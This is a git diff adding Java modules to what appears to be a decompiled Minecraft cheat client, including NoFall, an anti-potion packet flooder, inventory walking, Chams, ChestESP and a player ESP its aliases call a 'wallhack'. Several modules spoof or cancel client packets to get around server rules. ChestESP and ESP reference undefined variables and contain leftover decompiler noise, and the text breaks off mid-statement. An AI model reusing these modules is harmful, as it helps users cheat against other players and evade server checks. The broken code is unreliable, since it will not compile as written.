+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.RotationUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiChat;
+import net.minecraft.network.play.client.C0DPacketCloseWindow;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+
+public class Invplus
+  extends Module
+{
+  public Option<Boolean> sw = new Option("ScreenWalk", "screenwalk", Boolean.valueOf(true));
+  private Option<Boolean> xc = new Option("MoreInventory", "MoreInventory", Boolean.valueOf(false));
+  
+  public Invplus()
+  {
+    super("Inventory+", new String[] { "inventorywalk", "invwalk", "inventorymove", "inv+" }, ModuleType.Player);
+    setColor(new Color(174, 174, 227).getRGB());
+    addValues(new Value[] { sw, xc });
+  }
+  
+  @EventHandler
+  public void onEvent(EventPacketSend event) {
+    if (((event.getPacket() instanceof C0DPacketCloseWindow)) && 
+      (((Boolean)xc.getValue()).booleanValue())) {
+      event.setCancelled(true);
+    }
+  }
+  
+  @EventHandler
+  public void onInv(EventInventory event) {
+    if (((Boolean)xc.getValue()).booleanValue()) {
+      event.setCancelled(true);
+    }
+  }
+  
+  @EventHandler
+  private void onRender(EventRender2D e)
+  {
+    if ((mc.currentScreen != null) && (!(mc.currentScreen instanceof GuiChat)) && (((Boolean)sw.getValue()).booleanValue()))
+    {
+      if (Keyboard.isKeyDown(200)) {
+        RotationUtil.pitch(RotationUtil.pitch() - 2.0F);
+      }
+      
+      if (Keyboard.isKeyDown(208)) {
+        RotationUtil.pitch(RotationUtil.pitch() + 2.0F);
+      }
+      
+      if (Keyboard.isKeyDown(203)) {
+        RotationUtil.yaw(RotationUtil.yaw() - 2.0F);
+      }
+      
+      if (Keyboard.isKeyDown(205)) {
+        RotationUtil.yaw(RotationUtil.yaw() + 2.0F);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/MCF.java b/src/minecraft/com/enjoytheban/module/modules/player/MCF.java
new file mode 100644
index 0000000..bab200d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/MCF.java
@@ -0,0 +1,57 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.management.FriendManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.MovingObjectPosition;
+import org.lwjgl.input.Mouse;
+
+
+
+
+
+public class MCF
+  extends Module
+{
+  private boolean down;
+  
+  public MCF()
+  {
+    super("MCF", new String[] { "middleclickfriends", "middleclick" }, ModuleType.Player);
+    setColor(new Color(241, 175, 67).getRGB());
+  }
+  
+
+  @EventHandler
+  private void onClick(EventPreUpdate e)
+  {
+    if ((Mouse.isButtonDown(2)) && (!down))
+    {
+      if (mc.objectMouseOver.entityHit != null)
+      {
+        EntityPlayer player = (EntityPlayer)mc.objectMouseOver.entityHit;
+        
+        String playername = player.getName();
+        
+
+        if (!FriendManager.isFriend(playername)) {
+          mc.thePlayer.sendChatMessage(".f add " + playername);
+        }
+        else {
+          mc.thePlayer.sendChatMessage(".f del " + playername);
+        }
+      }
+      down = true;
+    }
+    
+    if (!Mouse.isButtonDown(2)) {
+      down = false;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/NoFall.java b/src/minecraft/com/enjoytheban/module/modules/player/NoFall.java
new file mode 100644
index 0000000..c9ce2cb
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/NoFall.java
@@ -0,0 +1,30 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;
+
+public class NoFall
+  extends Module
+{
+  public NoFall()
+  {
+    super("NoFall", new String[] { "Nofalldamage" }, ModuleType.Player);
+    setColor(new Color(242, 137, 73).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    if (mc.thePlayer.fallDistance > 3.0F) {
+      mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, 
+        mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));
+      mc.thePlayer.fallDistance = 0.0F;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/NoStrike.java b/src/minecraft/com/enjoytheban/module/modules/player/NoStrike.java
new file mode 100644
index 0000000..74214a5
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/NoStrike.java
@@ -0,0 +1,19 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import java.util.Random;
+
+
+
+
+public class NoStrike
+  extends Module
+{
+  public NoStrike()
+  {
+    super("NoStrike", new String[] { "antistrike" }, ModuleType.Player);
+    setColor(new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)).getRGB());
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/SkinFlash.java b/src/minecraft/com/enjoytheban/module/modules/player/SkinFlash.java
new file mode 100644
index 0000000..1777417
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/SkinFlash.java
@@ -0,0 +1,55 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+
+
+
+
+public class SkinFlash
+  extends Module
+{
+  public SkinFlash()
+  {
+    super("SkinFlash", new String[] { "derpskin" }, ModuleType.Player);
+    setColor(new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)).getRGB());
+  }
+  
+  public void onDisable()
+  {
+    if (mc.thePlayer != null) {
+      EnumPlayerModelParts[] parts = EnumPlayerModelParts.values();
+      if (parts != null) {
+        EnumPlayerModelParts[] arrayOfEnumPlayerModelParts1;
+        int j = (arrayOfEnumPlayerModelParts1 = parts).length;
+        for (int i = 0; i < j; i++) {
+          EnumPlayerModelParts part = arrayOfEnumPlayerModelParts1[i];
+          mc.gameSettings.func_178878_a(part, true);
+        }
+      }
+    }
+  }
+  
+  @EventHandler
+  private void onTick(EventTick e) {
+    if (mc.thePlayer != null) {
+      EnumPlayerModelParts[] parts = EnumPlayerModelParts.values();
+      if (parts != null) {
+        EnumPlayerModelParts[] arrayOfEnumPlayerModelParts1;
+        int j = (arrayOfEnumPlayerModelParts1 = parts).length;
+        for (int i = 0; i < j; i++) {
+          EnumPlayerModelParts part = arrayOfEnumPlayerModelParts1[i];
+          boolean newState = isEnabled() ? random.nextBoolean() : true;
+          mc.gameSettings.func_178878_a(part, newState);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/Zoot.java b/src/minecraft/com/enjoytheban/module/modules/player/Zoot.java
new file mode 100644
index 0000000..bfbcb7b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/Zoot.java
@@ -0,0 +1,43 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+
+
+
+
+
+public class Zoot
+  extends Module
+{
+  public Zoot()
+  {
+    super("Zoot", new String[] { "Firion", "antipotion", "antifire" }, ModuleType.Player);
+    setColor(new Color(208, 203, 229).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    for (Potion potion : Potion.potionTypes)
+    {
+      PotionEffect effect;
+      if ((e.getType() == 0) && (potion != null) && ((((effect = mc.thePlayer.getActivePotionEffect(potion)) != null) && (potion.isBadEffect())) || (
+        (mc.thePlayer.isBurning()) && (!mc.thePlayer.isInWater()) && (mc.thePlayer.onGround))))
+      {
+        for (int i = 0; mc.thePlayer.isBurning() ? i < 20 : i < effect.getDuration() / 20; i++) {
+          mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/Capes.java b/src/minecraft/com/enjoytheban/module/modules/render/Capes.java
new file mode 100644
index 0000000..1cd99c4
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/Capes.java
@@ -0,0 +1,32 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.rendering.EventRenderCape;
+import com.enjoytheban.management.FriendManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.entity.player.EntityPlayer;
+
+
+public class Capes
+  extends Module
+{
+  public Capes()
+  {
+    super("Capes", new String[] { "kape" }, ModuleType.Render);
+    setColor(new Color(159, 190, 192).getRGB());
+    setEnabled(true);
+    setRemoved(true);
+  }
+  
+  @EventHandler
+  public void onRender(EventRenderCape event) {
+    if ((mc.theWorld != null) && (FriendManager.isFriend(event.getPlayer().getName()))) {
+      event.setLocation(Client.CLIENT_CAPE);
+      event.setCancelled(true);
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/Chams.java b/src/minecraft/com/enjoytheban/module/modules/render/Chams.java
new file mode 100644
index 0000000..0fd214a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/Chams.java
@@ -0,0 +1,40 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.rendering.EventPostRenderPlayer;
+import com.enjoytheban.api.events.rendering.EventPreRenderPlayer;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import org.lwjgl.opengl.GL11;
+
+public class Chams
+  extends Module
+{
+  public Mode<Enum> mode = new Mode("Mode", "mode", ChamsMode.values(), ChamsMode.Textured);
+  
+  public Chams() {
+    super("Chams", new String[] { "seethru", "cham" }, ModuleType.Render);
+    addValues(new Value[] { mode });
+    setColor(new Color(159, 190, 192).getRGB());
+  }
+  
+  @EventHandler
+  private void preRenderPlayer(EventPreRenderPlayer e) {
+    GL11.glEnable(32823);
+    GL11.glPolygonOffset(1.0F, -1100000.0F);
+  }
+  
+  @EventHandler
+  private void postRenderPlayer(EventPostRenderPlayer e)
+  {
+    GL11.glDisable(32823);
+    GL11.glPolygonOffset(1.0F, 1100000.0F);
+  }
+  
+  public static enum ChamsMode {
+    Textured,  Normal;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/ChestESP.java b/src/minecraft/com/enjoytheban/module/modules/render/ChestESP.java
new file mode 100644
index 0000000..d08bdb6
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/ChestESP.java
@@ -0,0 +1,148 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.api.events.rendering.EventRender3D;
+import com.enjoytheban.utils.math.Vec4f;
+import com.enjoytheban.utils.render.GLUProjection.Projection;
+import java.awt.Color;
+import javax.vecmath.Vector3d;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.tileentity.TileEntityFurnace;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import org.lwjgl.opengl.GL11;
+
+public class ChestESP extends com.enjoytheban.module.Module
+{
+  public ChestESP()
+  {
+    super("ChestESP", new String[] { "chesthack" }, com.enjoytheban.module.ModuleType.Render);
+    setColor(new Color(90, 209, 165).getRGB());
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  public void onRender(EventRender3D eventRender) {
+    ScaledResolution scaledResolution = new ScaledResolution(mc);
+    for (Object o : mc.theWorld.loadedTileEntityList) {
+      TileEntity tileEntity = (TileEntity)o;
+      if ((tileEntity != null) && (isStorage(tileEntity))) {
+        double posX = tileEntity.getPos().getX();
+        double posY = tileEntity.getPos().getY();
+        double posZ = tileEntity.getPos().getZ();
+        
+        AxisAlignedBB axisAlignedBB = null;
+        if ((tileEntity instanceof TileEntityChest)) {
+          Block block = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ)).getBlock();
+          Block x1 = mc.theWorld.getBlockState(new BlockPos(posX + 1.0D, posY, posZ)).getBlock();
+          Block x2 = mc.theWorld.getBlockState(new BlockPos(posX - 1.0D, posY, posZ)).getBlock();
+          Block z1 = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ + 1.0D)).getBlock();
+          Block z2 = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ - 1.0D)).getBlock();
+          if (block != Blocks.trapped_chest) {
+            if (x1 == Blocks.chest) {
+              mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ, posX + 1.9500000476837158D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+            } else if (z2 == Blocks.chest) {
+              mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ - 1.0D, posX + 0.949999988079071D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+            } else if ((x1 != Blocks.chest) && (x2 != Blocks.chest) && (z1 != Blocks.chest) && (z2 != Blocks.chest)) {
+              mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ, posX + 0.949999988079071D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+            }
+          } else if (x1 == Blocks.trapped_chest) {
+            mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ, posX + 1.9500000476837158D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+          } else if (z2 == Blocks.trapped_chest) {
+            mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ - 1.0D, posX + 0.949999988079071D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+          } else if ((x1 != Blocks.trapped_chest) && (x2 != Blocks.trapped_chest) && (z1 != Blocks.trapped_chest) && (z2 != Blocks.trapped_chest)) {
+            mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX + 0.05000000074505806D - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ + 0.05000000074505806D - RenderManager.renderPosZ, posX + 0.949999988079071D - RenderManager.renderPosX, posY + 0.8999999761581421D - RenderManager.renderPosY, posZ + 0.949999988079071D - RenderManager.renderPosZ);
+          }
+        } else {
+          mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();mc.getRenderManager();axisAlignedBB = new AxisAlignedBB(posX - RenderManager.renderPosX, posY - RenderManager.renderPosY, posZ - RenderManager.renderPosZ, posX + 1.0D - RenderManager.renderPosX, posY + 1.0D - RenderManager.renderPosY, posZ + 1.0D - RenderManager.renderPosZ);
+        }
+        if (axisAlignedBB != null) {
+          float[] colors = getColorForTileEntity(tileEntity);
+          GlStateManager.disableAlpha();
+          GlStateManager.enableBlend();
+          GlStateManager.blendFunc(770, 771);
+          GlStateManager.disableTexture2D();
+          GlStateManager.disableDepth();
+          GL11.glEnable(2848);
+          net.minecraft.client.renderer.RenderHelper.drawCompleteBox(axisAlignedBB, 1.0F, toRGBAHex(colors[0] / 255.0F, colors[1] / 255.0F, colors[2] / 255.0F, 0.1254902F), toRGBAHex(colors[0] / 255.0F, colors[1] / 255.0F, colors[2] / 255.0F, 1.0F));
+          GL11.glDisable(2848);
+          GlStateManager.enableDepth();
+          GlStateManager.enableTexture2D();
+          GlStateManager.enableBlend();
+          GlStateManager.enableAlpha();
+          
+          AxisAlignedBB bb = null;
+          if ((tileEntity instanceof TileEntityChest))
+          {
+            Block block = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ)).getBlock();
+            Block posX1 = mc.theWorld.getBlockState(new BlockPos(posX + 1.0D, posY, posZ)).getBlock();
+            Block posX2 = mc.theWorld.getBlockState(new BlockPos(posX - 1.0D, posY, posZ)).getBlock();
+            Block posZ1 = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ + 1.0D)).getBlock();
+            Block posZ2 = mc.theWorld.getBlockState(new BlockPos(posX, posY, posZ - 1.0D)).getBlock();
+            if (block != Blocks.trapped_chest) {
+              if (posX1 == Blocks.chest) {
+                bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D, posX + 1.9500000476837158D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+              } else if (posZ2 == Blocks.chest) {
+                bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D - 1.0D, posX + 0.949999988079071D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+              } else if ((posX1 != Blocks.chest) && (posX2 != Blocks.chest) && (posZ1 != Blocks.chest) && (posZ2 != Blocks.chest)) {
+                bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D, posX + 0.949999988079071D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+              }
+            } else if (posX1 == Blocks.trapped_chest) {
+              bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D, posX + 1.9500000476837158D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+            } else if (posZ2 == Blocks.trapped_chest) {
+              bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D - 1.0D, posX + 0.949999988079071D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+            } else if ((posX1 != Blocks.trapped_chest) && (posX2 != Blocks.trapped_chest) && (posZ1 != Blocks.trapped_chest) && (posZ2 != Blocks.trapped_chest)) {
+              bb = new AxisAlignedBB(posX + 0.05000000074505806D, posY, posZ + 0.05000000074505806D, posX + 0.949999988079071D, posY + 0.8999999761581421D, posZ + 0.949999988079071D);
+            }
+          } else {
+            bb = new AxisAlignedBB(posX, posY, posZ, posX + 1.0D, posY + 1.0D, posZ + 1.0D);
+          }
+          if (bb == null) break;
+          Vector3d[] corners = { new Vector3d(minX, minY, minZ), new Vector3d(maxX, maxY, maxZ), new Vector3d(minX, maxY, maxZ), new Vector3d(minX, minY, maxZ), new Vector3d(maxX, minY, maxZ), new Vector3d(maxX, minY, minZ), new Vector3d(maxX, maxY, minZ), new Vector3d(minX, maxY, minZ) };
+          GLUProjection.Projection result = null;
+          Vec4f transformed = new Vec4f(scaledResolution.getScaledWidth() * 2.0F, scaledResolution.getScaledHeight() * 2.0F, -1.0F, -1.0F);
+          for (Vector3d vec : corners) {
+            result = com.enjoytheban.utils.render.GLUProjection.getInstance().project(x - mc.getRenderManager().viewerPosX, y - mc.getRenderManager().viewerPosY, z - mc.getRenderManager().viewerPosZ, com.enjoytheban.utils.render.GLUProjection.ClampMode.NONE, true);
+            transformed.setX((float)Math.min(transformed.getX(), result.getX()));
+            transformed.setY((float)Math.min(transformed.getY(), result.getY()));
+            transformed.setW((float)Math.max(transformed.getW(), result.getX()));
+            transformed.setH((float)Math.max(transformed.getH(), result.getY()));
+          }
+          if (result == null) break;
+        }
+      }
+    }
+  }
+  
+  public static boolean isStorage(TileEntity entity) { return ((entity instanceof TileEntityChest)) || ((entity instanceof net.minecraft.tileentity.TileEntityBrewingStand)) || ((entity instanceof net.minecraft.tileentity.TileEntityDropper)) || ((entity instanceof net.minecraft.tileentity.TileEntityDispenser)) || ((entity instanceof TileEntityFurnace)) || ((entity instanceof net.minecraft.tileentity.TileEntityHopper)) || ((entity instanceof net.minecraft.tileentity.TileEntityEnderChest)); }
+  
+  public static int toRGBAHex(float r, float g, float b, float a) {
+    return ((int)(a * 255.0F) & 0xFF) << 24 | ((int)(r * 255.0F) & 0xFF) << 16 | ((int)(g * 255.0F) & 0xFF) << 8 | (int)(b * 255.0F) & 0xFF;
+  }
+  
+  private float[] getColorForTileEntity(TileEntity entity) {
+    if ((entity instanceof TileEntityChest)) {
+      TileEntityChest chest = (TileEntityChest)entity;
+      if (chest.getChestType() == 0) {
+        return new float[] { 180.0F, 160.0F, 0.0F, 255.0F };
+      }
+      if (chest.getChestType() == 1) {
+        return new float[] { 160.0F, 10.0F, 10.0F, 255.0F };
+      }
+    }
+    if ((entity instanceof net.minecraft.tileentity.TileEntityEnderChest)) {
+      return new float[] { 0.0F, 160.0F, 100.0F, 255.0F };
+    }
+    if ((entity instanceof TileEntityFurnace)) {
+      return new float[] { 120.0F, 120.0F, 120.0F, 255.0F };
+    }
+    return new float[] { 255.0F, 255.0F, 255.0F, 255.0F };
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/ESP.java b/src/minecraft/com/enjoytheban/module/modules/render/ESP.java
new file mode 100644
index 0000000..106acec
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/ESP.java
@@ -0,0 +1,264 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.rendering.EventRender2D;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.management.FriendManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.Vec3f;
+import com.enjoytheban.utils.render.RenderUtil;
+import com.enjoytheban.utils.render.gl.GLUtils;
+import java.awt.Color;
+import java.util.ArrayList;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.Timer;
+import org.lwjgl.opengl.GL11;
+
+
+public class ESP
+  extends Module
+{
+  private ArrayList<Vec3f> points = new ArrayList();
+  public Mode<Enum> mode = new Mode("Mode", "mode", ESPMode.values(), ESPMode.TwoDimensional);
+  
+  public ESP() {
+    super("ESP", new String[] { "outline", "wallhack" }, ModuleType.Render);
+    addValues(new Value[] { mode });
+    for (int i = 0; i < 8; i++)
+    {
+      points.add(new Vec3f());
+    }
+    setColor(new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)).getRGB());
+  }
+  
+  @EventHandler
+  public void onScreen(EventRender2D eventRender) {
+    if (mode.getValue() == ESPMode.TwoDimensional) {
+      GlStateManager.pushMatrix();
+      ScaledResolution scaledRes = new ScaledResolution(mc);
+      double twoDscale = scaledRes.getScaleFactor() / Math.pow(scaledRes.getScaleFactor(), 2.0D);
+      GlStateManager.scale(twoDscale, twoDscale, twoDscale);
+      for (Object o : mc.theWorld.getLoadedEntityList()) {
+        if (((o instanceof EntityLivingBase)) && (o != mc.thePlayer) && ((o instanceof EntityPlayer))) {
+          EntityLivingBase ent = (EntityLivingBase)o;
+          render(ent);
+        }
+      }
+      GlStateManager.popMatrix();
+    }
+  }
+  
+
+
+
+
+
+
+  private void render(Entity entity)
+  {
+    Entity extended = entity;
+    
+    RenderManager renderManager = mc.getRenderManager();
+    
+
+    Vec3f offset = extended.interpolate(mc.timer.renderPartialTicks).sub(extended.getPos()).add(0.0D, 0.1D, 0.0D);
+    if (entity.isInvisible()) {
+      return;
+    }
+    
+    AxisAlignedBB bb = entity.getEntityBoundingBox().offset(offset.getX() - RenderManager.renderPosX, 
+      offset.getY() - RenderManager.renderPosY, offset.getZ() - RenderManager.renderPosZ);
+    
+
+    ((Vec3f)points.get(0)).setX(minX).setY(minY).setZ(minZ);
+    ((Vec3f)points.get(1)).setX(maxX).setY(minY).setZ(minZ);
+    ((Vec3f)points.get(2)).setX(maxX).setY(minY).setZ(maxZ);
+    ((Vec3f)points.get(3)).setX(minX).setY(minY).setZ(maxZ);
+    ((Vec3f)points.get(4)).setX(minX).setY(maxY).setZ(minZ);
+    ((Vec3f)points.get(5)).setX(maxX).setY(maxY).setZ(minZ);
+    ((Vec3f)points.get(6)).setX(maxX).setY(maxY).setZ(maxZ);
+    ((Vec3f)points.get(7)).setX(minX).setY(maxY).setZ(maxZ);
+    
+
+
+
+
+    float left = Float.MAX_VALUE;float right = 0.0F;float top = Float.MAX_VALUE;float bottom = 0.0F;
+    
+
+    for (Vec3f point : points)
+    {
+      Vec3f screen = point.toScreen();
+      
+      if ((screen.getZ() >= 0.0D) && (screen.getZ() < 1.0D))
+      {
+
+
+
+
+
+        if (screen.getX() < left)
+          left = (float)screen.getX();
+        if (screen.getY() < top)
+          top = (float)screen.getY();
+        if (screen.getX() > right)
+          right = (float)screen.getX();
+        if (screen.getY() > bottom) {
+          bottom = (float)screen.getY();
+        }
+      }
+    }
+    
+    if ((bottom <= 1.0F) && (right <= 1.0F))
+    {
+      return;
+    }
+    
+
+    box(left, top, right, bottom);
+    
+
+
+    name(entity, left, top, right, bottom);
+    
+
+    if (!(entity instanceof EntityLivingBase))
+    {
+      return;
+    }
+    EntityLivingBase living = (EntityLivingBase)entity;
+    
+
+    health(living, left, top, right, bottom);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void box(float left, float top, float right, float bottom)
+  {
+    GL11.glColor4d(1.0D, 1.0D, 1.0D, 0.5D);
+    
+
+    RenderUtil.drawLine(left, top, right, top, 2.0F);
+    RenderUtil.drawLine(left, bottom, right, bottom, 2.0F);
+    RenderUtil.drawLine(left, top, left, bottom, 2.0F);
+    RenderUtil.drawLine(right, top, right, bottom, 2.0F);
+    
+
+
+
+
+
+    RenderUtil.drawLine(left + 1.0F, top + 1.0F, right - 1.0F, top + 1.0F, 1.0F);
+    RenderUtil.drawLine(left + 1.0F, bottom - 1.0F, right - 1.0F, bottom - 1.0F, 1.0F);
+    RenderUtil.drawLine(left + 1.0F, top + 1.0F, left + 1.0F, bottom - 1.0F, 1.0F);
+    RenderUtil.drawLine(right - 1.0F, top + 1.0F, right - 1.0F, bottom - 1.0F, 1.0F);
+    
+
+    RenderUtil.drawLine(left - 1.0F, top - 1.0F, right + 1.0F, top - 1.0F, 1.0F);
+    RenderUtil.drawLine(left - 1.0F, bottom + 1.0F, right + 1.0F, bottom + 1.0F, 1.0F);
+    RenderUtil.drawLine(left - 1.0F, top + 1.0F, left - 1.0F, bottom + 1.0F, 1.0F);
+    RenderUtil.drawLine(right + 1.0F, top - 1.0F, right + 1.0F, bottom + 1.0F, 1.0F);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void name(Entity entity, float left, float top, float right, float bottom)
+  {
+    mc.fontRendererObj.drawCenteredString(FriendManager.isFriend(entity.getName()) ? "§b" + FriendManager.getAlias(entity.getName()) : entity.getName(), (int)(left + right) / 2, 
